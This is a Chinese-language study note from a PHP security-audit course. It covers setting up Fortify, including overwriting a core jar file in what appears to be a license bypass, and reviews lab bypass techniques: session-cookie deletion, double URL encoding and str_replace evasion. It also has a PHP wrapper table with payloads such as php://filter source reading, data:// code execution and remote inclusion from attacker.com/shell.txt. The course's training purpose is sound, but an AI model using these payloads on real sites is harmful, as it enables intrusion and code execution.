1、安装fortify并以pikachu靶场为目标进行练习熟练使用fortify
1.安装
1 分别安装
安装完成后,默认路径是C:\Program Files\Fortify
2 复制fortify-common-23.2.0.0023
将fortify-common-23.2.0.0023.jar文件分别覆盖下面中文件
C:\安装的路径\Fortify\Fortify_Apps_and_Tools_23.2.0\Core\lib
C:\安装的路径\Fortify\Fortify_SCA_23.2.0\Core\lib
3 更新规则
解压FortifyRules_zh_CH_2023.1.1.0001(离线规则库).zip 规则库
先删除C:\..\Fortify\Fortify_SCA_23.1.0\Core\config目录下的ExternalMetadata和rules文件夹,然后把解压的ExternalMetadata和rules文件夹拷贝到该目录下。
4 运行
C:\..\Fortify\Fortify_Apps_and_Tools_23.1.0\bin 下的auditworkbench.cmd 即可开启GUI界面,可以通过鼠标右键将该文件的快捷方式发送到桌面;
也可以在【开始】> 【Fortify_Apps_and_Tools_23.1.0】里点击Audit workench开启
5 安装完成
2.扫描pikachu靶场
2、复习php代码审计函数精讲相关内容,重点是SESSION验证绕过、urldecode二次编码绕过、str_replace绕过
sha()函数比较绕过
sha()函数比较绕过是利用哈希值的类型转换漏洞和魔法哈希(Magic Hash)特性,绕过身份验证的攻击手段。
密码md5比较绕过
md5比较绕过是利用PHP弱类型在松散比较(==)时的类型转换漏洞,通过构造特定哈希值绕过身份验证的手法。
SESSION验证绕过
<?php
// 定义flag,这是目标获取的字符串
$flag = "magedu";
// 启动会话,使用session_start()函数
session_start();
// 检查是否通过GET请求传递了password参数
if (isset($_GET['password'])) {
// 将提供的密码与会话中存储的密码进行比较
if ($_GET['password'] == $_SESSION['password'])
// 如果匹配,显示flag
die('Flag: '.$flag);
else
// 如果不匹配,显示错误消息
print 'Wrong guess.';
}
// 使用复杂种子初始化随机数生成器
mt_srand((microtime() ^ rand(1,10000)) % rand(1,10000) + rand(1,10000));
?>
审计 if ($_GET['password'] == $_SESSION['password']) 这行代码发现,只需要session中的password值和用户传的一样,就可以成功拿到flag。
又由于session值是依赖Cookie来传递Session ID,如果我们删除 Cookie 的 PHPSESSID,服务器就无法找到对应的 Session 文件,导致 $_SESSION['password'] 为空,这时我们同样传入空的password就能绕过了。
因此payload为password= 且 删除 cookie的值
urldecode二次编码绕过
<?php
// 简单的关键字过滤,类比程序中的waf
// 检查GET参数id中是否包含字符串"magedu"
if(strpos($_GET['id'], "magedu")) {
// 如果包含,输出不允许访问的消息
echo("<p>not allowed!</p>");
// 终止脚本执行
exit();
}
// 对id参数进行URL解码
$_GET["id"] = urldecode($_GET["id"]);
// 检查解码后的id参数是否等于"magedu"
if($_GET["id"] == "magedu")
{
// 如果匹配,显示访问授权消息
echo "<p>Access granted!</p>";
// 显示flag
echo "<p>flag: This is magedu flag!!!} </p>";
}
?>
由于浏览器的⼀次urldecode,再由服务器端函数的⼀次decode,造成⼆次编码,而绕过过滤。
如%2527,两次urldecode会最后变成'
str_replace绕过
经常出现在字符过滤等功能逻辑中,由于仅仅过滤⼀次,因此容易被绕过。如:..././filename > ../filename实现绕过
3、复习php伪协议
| 协议 | 条件 | 作用 | 典型示例 |
|---|---|---|---|
file:// | 不受 allow_url_fopen 和 allow_url_include 影响 | 读取本地文件 | file://[⽂件的绝对路径和⽂件名] |
php:// | ``allow_url_fopen:off/on allow_url_include` :仅 php://input 、php://stdin、 php://memory、 php://temp 需要on | 访问各个输⼊/输出流(I/O streams) | php://filter/read=convert.base64-encode/resource=[⽂件名] 读取⽂件源码 |
zip://、bzip2://、zlib:// | 无特殊限制 | 读取压缩包内的文件(可改后缀) | zip://[压缩⽂件路径]%23[压缩⽂件内的⼦⽂件名] (#编码为%23) |
data:// | 需 allow_url_fopen=on 和 allow_url_include=on | 自PHP>=5.2.0 起,可以使用data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 | data://text/plain,<?php phpinfo();?> |
http:// / https:// | 需 allow_url_fopen=on 和 allow_url_include=on | 远程文件包含 | http://attacker.com/shell.txt |
phar:// | 无特殊限制 | 读取压缩包(类似zip://)或对象注入攻击 | phar://archive.phar/file.txt |
4、搭建并部署微商城系统并结合课件审计复习文件上传漏洞
环境搭建
1.源码放入web目录下,搭建站点
2.使用navicat创建数据库mall,右击【mall数据库】> 【新建查询】,将mysql_data_E7VvC.sql文件内容复制到查询中,之后点击运行
3.修改数据库链接文件:/Mao/common.php
4.实现访问
文件上传漏洞
api\api.php文件中的代码没有过滤用户上传的文件,导致任意文件上传